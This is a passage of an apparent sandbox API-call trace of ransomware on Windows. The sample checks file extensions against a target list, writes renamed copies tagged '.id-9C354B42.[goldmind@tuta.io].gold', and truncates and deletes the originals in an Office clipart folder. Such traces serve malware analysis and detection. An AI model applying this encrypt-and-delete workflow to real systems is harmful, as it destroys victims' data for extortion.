(lpString=".docx") returned 5 [0114.082] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0114.082] lstrlenW (lpString=".pdf") returned 4 [0114.082] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString=".xls") returned 4 [0114.082] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.082] lstrlenW (lpString=".xlsx") returned 5 [0114.082] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0114.082] lstrlenW (lpString=".ppt") returned 4 [0114.082] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString=".zip") returned 4 [0114.082] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.082] lstrlenW (lpString=".rar") returned 4 [0114.082] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString=".bz2") returned 4 [0114.082] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString=".7z") returned 3 [0114.082] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString=".dbf") returned 4 [0114.082] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString=".1cd") returned 4 [0114.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198016.WMF") returned 63 [0114.082] lstrlenW (lpString=".jpg") returned 4 [0114.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.082] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.082] lstrlenW (lpString="J0198020.WMF") returned 12 [0114.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.083] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=23726) returned 1 [0114.083] CloseHandle (hObject=0x3d0) returned 1 [0114.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf")) returned 0x20 [0114.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.084] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.084] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.085] GetLastError () returned 0x0 [0114.085] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x5cae, lpOverlapped=0x0) returned 1 [0114.086] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5cb0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5cb0, lpOverlapped=0x0) returned 1 [0114.194] ReadFile (in: hFile=0x3d0, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.194] WriteFile (in: hFile=0x3e0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.194] SetEndOfFile (hFile=0x3e0) returned 1 [0114.194] CloseHandle (hObject=0x3e0) returned 1 [0114.194] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.194] SetEndOfFile (hFile=0x3d0) returned 1 [0114.197] CloseHandle (hObject=0x3d0) returned 1 [0114.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.197] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198020.wmf")) returned 1 [0114.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.198] lstrlenW (lpString=".doc") returned 4 [0114.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.198] lstrlenW (lpString=".docx") returned 5 [0114.198] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0114.198] lstrlenW (lpString=".pdf") returned 4 [0114.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.198] lstrlenW (lpString=".xls") returned 4 [0114.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.198] lstrlenW (lpString=".xlsx") returned 5 [0114.198] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0114.198] lstrlenW (lpString=".ppt") returned 4 [0114.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.198] lstrlenW (lpString=".zip") returned 4 [0114.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.198] lstrlenW (lpString=".rar") returned 4 [0114.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.198] lstrlenW (lpString=".bz2") returned 4 [0114.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString=".7z") returned 3 [0114.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString=".dbf") returned 4 [0114.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString=".1cd") returned 4 [0114.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString=".jpg") returned 4 [0114.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString=".doc") returned 4 [0114.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString=".docx") returned 5 [0114.199] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0114.199] lstrlenW (lpString=".pdf") returned 4 [0114.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString=".xls") returned 4 [0114.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.199] lstrlenW (lpString=".xlsx") returned 5 [0114.199] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0114.199] lstrlenW (lpString=".ppt") returned 4 [0114.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString=".zip") returned 4 [0114.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.199] lstrlenW (lpString=".rar") returned 4 [0114.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString=".bz2") returned 4 [0114.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString=".7z") returned 3 [0114.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString=".dbf") returned 4 [0114.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString=".1cd") returned 4 [0114.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198020.WMF") returned 63 [0114.199] lstrlenW (lpString=".jpg") returned 4 [0114.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.200] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.200] lstrlenW (lpString="J0198447.WMF") returned 12 [0114.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.243] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=49676) returned 1 [0114.243] CloseHandle (hObject=0x3b8) returned 1 [0114.243] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf")) returned 0x20 [0114.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.270] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.270] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0114.271] GetLastError () returned 0x0 [0114.271] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0xc20c, lpOverlapped=0x0) returned 1 [0114.294] WriteFile (in: hFile=0x3f8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xc210, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xc210, lpOverlapped=0x0) returned 1 [0114.295] ReadFile (in: hFile=0x198, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.295] WriteFile (in: hFile=0x3f8, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.295] SetEndOfFile (hFile=0x3f8) returned 1 [0114.295] CloseHandle (hObject=0x3f8) returned 1 [0114.295] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.295] SetEndOfFile (hFile=0x198) returned 1 [0114.297] CloseHandle (hObject=0x198) returned 1 [0114.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf")) returned 1 [0114.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.312] lstrlenW (lpString=".doc") returned 4 [0114.312] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.312] lstrlenW (lpString=".docx") returned 5 [0114.312] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.312] lstrlenW (lpString=".pdf") returned 4 [0114.312] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.312] lstrlenW (lpString=".xls") returned 4 [0114.312] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.312] lstrlenW (lpString=".xlsx") returned 5 [0114.312] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.312] lstrlenW (lpString=".ppt") returned 4 [0114.312] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.312] lstrlenW (lpString=".zip") returned 4 [0114.312] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.312] lstrlenW (lpString=".rar") returned 4 [0114.312] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.312] lstrlenW (lpString=".bz2") returned 4 [0114.312] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.312] lstrlenW (lpString=".7z") returned 3 [0114.312] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString=".dbf") returned 4 [0114.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString=".1cd") returned 4 [0114.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString=".jpg") returned 4 [0114.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString=".doc") returned 4 [0114.313] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString=".docx") returned 5 [0114.313] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.313] lstrlenW (lpString=".pdf") returned 4 [0114.313] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString=".xls") returned 4 [0114.313] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.313] lstrlenW (lpString=".xlsx") returned 5 [0114.313] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.313] lstrlenW (lpString=".ppt") returned 4 [0114.313] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString=".zip") returned 4 [0114.313] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.313] lstrlenW (lpString=".rar") returned 4 [0114.313] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString=".bz2") returned 4 [0114.313] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString=".7z") returned 3 [0114.313] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString=".dbf") returned 4 [0114.313] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString=".1cd") returned 4 [0114.313] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF") returned 63 [0114.313] lstrlenW (lpString=".jpg") returned 4 [0114.313] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.313] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.313] lstrlenW (lpString="J0199303.WMF") returned 12 [0114.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.339] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=31822) returned 1 [0114.339] CloseHandle (hObject=0x3d0) returned 1 [0114.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf")) returned 0x20 [0114.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0114.408] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.408] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0114.409] GetLastError () returned 0x0 [0114.409] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x7c4e, lpOverlapped=0x0) returned 1 [0114.439] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x7c50, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x7c50, lpOverlapped=0x0) returned 1 [0114.440] ReadFile (in: hFile=0x398, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.440] WriteFile (in: hFile=0x194, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.440] SetEndOfFile (hFile=0x194) returned 1 [0114.440] CloseHandle (hObject=0x194) returned 1 [0114.440] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.440] SetEndOfFile (hFile=0x398) returned 1 [0114.442] CloseHandle (hObject=0x398) returned 1 [0114.442] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.442] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf")) returned 1 [0114.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.443] lstrlenW (lpString=".doc") returned 4 [0114.443] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.443] lstrlenW (lpString=".docx") returned 5 [0114.443] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.443] lstrlenW (lpString=".pdf") returned 4 [0114.443] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.443] lstrlenW (lpString=".xls") returned 4 [0114.443] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.443] lstrlenW (lpString=".xlsx") returned 5 [0114.443] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.443] lstrlenW (lpString=".ppt") returned 4 [0114.443] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.443] lstrlenW (lpString=".zip") returned 4 [0114.443] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.443] lstrlenW (lpString=".rar") returned 4 [0114.443] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.443] lstrlenW (lpString=".bz2") returned 4 [0114.443] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.443] lstrlenW (lpString=".7z") returned 3 [0114.443] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.443] lstrlenW (lpString=".dbf") returned 4 [0114.443] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.444] lstrlenW (lpString=".1cd") returned 4 [0114.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.444] lstrlenW (lpString=".jpg") returned 4 [0114.444] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.444] lstrlenW (lpString=".doc") returned 4 [0114.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString=".docx") returned 5 [0114.444] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0114.444] lstrlenW (lpString=".pdf") returned 4 [0114.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString=".xls") returned 4 [0114.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.444] lstrlenW (lpString=".xlsx") returned 5 [0114.444] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0114.444] lstrlenW (lpString=".ppt") returned 4 [0114.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF") returned 63 [0114.444] lstrlenW (lpString=".zip") returned 4 [0114.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.444] lstrlenW (lpString=".rar") returned 4 [0114.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") 